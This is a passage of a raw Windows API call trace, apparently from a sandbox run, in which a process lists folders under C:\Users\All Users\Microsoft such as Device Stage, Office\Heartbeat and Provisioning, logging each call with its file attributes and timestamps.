ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a900 [0209.864] FindNextFileW (in: hFindFile=0x1d46a900, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.864] FindNextFileW (in: hFindFile=0x1d46a900, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Device", cAlternateFileName="")) returned 1 [0209.864] FindNextFileW (in: hFindFile=0x1d46a900, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Task", cAlternateFileName="")) returned 1 [0209.864] FindNextFileW (in: hFindFile=0x1d46a900, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Task", cAlternateFileName="")) returned 0 [0209.864] FindClose (in: hFindFile=0x1d46a900 | out: hFindFile=0x1d46a900) returned 1 [0209.864] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dc4d0) returned 1 [0209.865] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage", nBufferLength=0x105, lpBuffer=0x1f2dc080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage", lpFilePart=0x0) returned 0x29 [0209.865] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\*" (normalized: "c:\\users\\all users\\microsoft\\device stage\\*"), lpFindFileData=0x1f2dc2b0 | out: lpFindFileData=0x1f2dc2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a900 [0209.865] FindNextFileW (in: hFindFile=0x1d46a900, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.865] FindNextFileW (in: hFindFile=0x1d46a900, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Device", cAlternateFileName="")) returned 1 [0209.865] FindNextFileW (in: hFindFile=0x1d46a900, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Task", cAlternateFileName="")) returned 1 [0210.239] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb1a44646, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0xb1a44646, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0xb1a44646, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0210.239] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb1a44646, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0xb1a44646, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0xb1a44646, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0210.239] FindClose (in: hFindFile=0x1d469ca0 | out: hFindFile=0x1d469ca0) returned 1 [0210.240] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dbd10) returned 1 [0210.240] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dbcd0) returned 1 [0210.240] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2dbde0) returned 1 [0210.240] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Office\\Heartbeat", nBufferLength=0x105, lpBuffer=0x1f2db8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Office\\Heartbeat", lpFilePart=0x0) returned 0x2d [0210.240] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Office\\Heartbeat\\*" (normalized: "c:\\users\\all users\\microsoft\\office\\heartbeat\\*"), lpFindFileData=0x1f2dbaf0 | out: lpFindFileData=0x1f2dbaf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb1a44646, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0xb1a44646, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0xb1a44646, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d4697c0 [0210.241] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb1a44646, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0xb1a44646, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0xb1a44646, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0210.241] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb1a44646, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0xb1a44646, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0xb1a44646, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0210.241] FindClose (in: hFindFile=0x1d4697c0 | out: hFindFile=0x1d4697c0) returned 1 [0210.241] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dbd10) returned 1 [0210.241] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dbcd0) returned 1 [0210.242] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2dc5a0) returned 1 [0210.242] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning", nBufferLength=0x105, lpBuffer=0x1f2dc080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning", lpFilePart=0x0) returned 0x29 [0210.242] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\*" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\*"), lpFindFileData=0x1f2dc2b0 | out: lpFindFileData=0x1f2dc2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd06144, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbe4b6f3a, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbe4b6f3a, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a120 [0210.247] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd06144, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbe4b6f3a, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbe4b6f3a, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0210.248] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11be8600, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x11be8600, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x11be8600, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x6815, dwReserved0=0x0, dwReserved1=0x0, cFileName="countrytable.xml", cAlternateFileName="")) returned 1 [0210.248] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd452a9e, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbd452a9e, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbd452a9e, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}", cAlternateFileName="{18DCF~1")) returned 1 [0210.248] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbc75be0a, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbc75be0a, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbc75be0a, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{1e05dd5d-a022-46c5-963c-b20de341170f}", cAlternateFileName="{1E05D~1")) returned 1 [0210.248] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd9177d6, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbd9177d6, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbd9177d6, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{23cb517f-5073-4e96-a202-7fe6122a2271}", cAlternateFileName="{23CB5~1")) returned 1 [0210.249] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe4b6f3a, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbe4b6f3a, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbe4b6f3a, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}", cAlternateFileName="{3742E~1")) returned 1 [0210.249] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd0268ef, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbd0268ef, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbd0268ef, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{7a30a9be-737f-47a1-a541-6e7b0761ed19}", cAlternateFileName="{7A30A~1")) returned 1 [0210.249] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbcdea603, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbcdea603, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbcdea603, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8fb7d64e-70fc-4f9d-89ee-d486817534df}", cAlternateFileName="{8FB7D~1")) returned 1 [0210.249] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbcdc44d0, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbcdc44d0, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbcdc44d0, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{99b095d8-5959-4820-bea7-7448c8427b4e}", cAlternateFileName="{99B09~1")) returned 1 [0210.250] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbcdea603, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbcdea603, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbcdea603, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{9aec5bda-1e87-46b3-bb96-1a01c606555e}", cAlternateFileName="{9AEC5~1")) returned 1 [0210.250] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd6b510c, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbd6b510c, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbd6b510c, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}", cAlternateFileName="{9DF6A~1")) returned 1 [0210.250] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd0268ef, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbd0268ef, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbd0268ef, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}", cAlternateFileName="{B0B91~1")) returned 1 [0210.250] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbcd9e222, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbcd9e222, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbcd9e222, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{c5dc3753-b6c8-4057-b396-bf13d769311c}", cAlternateFileName="{C5DC3~1")) returned 1 [0210.251] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbcdc44d0, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbcdc44d0, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbcdc44d0, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{ee4aac98-c174-4941-82b1-d121e493e4fb}", cAlternateFileName="{EE4AA~1")) returned 1 [0210.251] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbdbec4a8, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbdbec4a8, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbdbec4a8, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{f11899f2-71ec-4621-9997-e17ae2f6eb26}", cAlternateFileName="{F1189~1")) returned 1 [0210.252] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbde4e9af, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbde4e9af, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbde4e9af, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}", cAlternateFileName="{FC01E~1")) returned 1 [0210.252] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbde4e9af, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbde4e9af, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbde4e9af, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}", cAlternateFileName="{FC01E~1")) returned 0 [0210.252] FindClose (in: hFindFile=0x1d46a120 | out: hFindFile=0x1d46a120) returned 1 [0210.253] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dc4d0) returned 1 [0210.253] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dc490) returned 1 [0210.254] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2dc5a0) returned 1 [0210.254] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning", nBufferLength=0x105, lpBuffer=0x1f2dc080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning", lpFilePart=0x0) returned 0x29 [0210.254] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\*" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\*"), lpFindFileData=0x1f2dc2b0 | out: lpFindFileData=0x1f2dc2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd06144, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbe4b6f3a, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbe4b6f3a, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d4697c0 [0210.255] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd06144, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbe4b6f3a, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbe4b6f3a, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0210.255] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11be8600, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x11be8600, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x11be8600, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x6815, dwReserved0=0x0, dwReserved1=0x0, cFileName="countrytable.xml", cAlternateFileName="")) returned 1 [0210.256] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd452a9e, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbd452a9e, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbd452a9e, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}", cAlternateFileName="{18DCF~1")) returned 1 [0210.256] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbc75be0a, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbc75be0a, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbc75be0a, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{1e05dd5d-a022-46c5-963c-b20de341170f}", cAlternateFileName="{1E05D~1")) returned 1 [0210.256] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd9177d6, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbd9177d6, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbd9177d6, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{23cb517f-5073-4e96-a202-7fe6122a2271}", cAlternateFileName="{23CB5~1")) returned 1 [0210.256] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe4b6f3a, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbe4b6f3a, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbe4b6f3a, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}", cAlternateFileName="{3742E~1")) returned 1 [0210.256] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd0268ef, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbd0268ef, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbd0268ef, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{7a30a9be-737f-47a1-a541-6e7b0761ed19}", cAlternateFileName="{7A30A~1")) returned 1 [0210.257] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbcdea603, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbcdea603, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbcdea603, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8fb7d64e-70fc-4f9d-89ee-d486817534df}", cAlternateFileName="{8FB7D~1")) returned 1 [0210.257] FindNextFileW (in: hFindFile=0x1d4697c0, 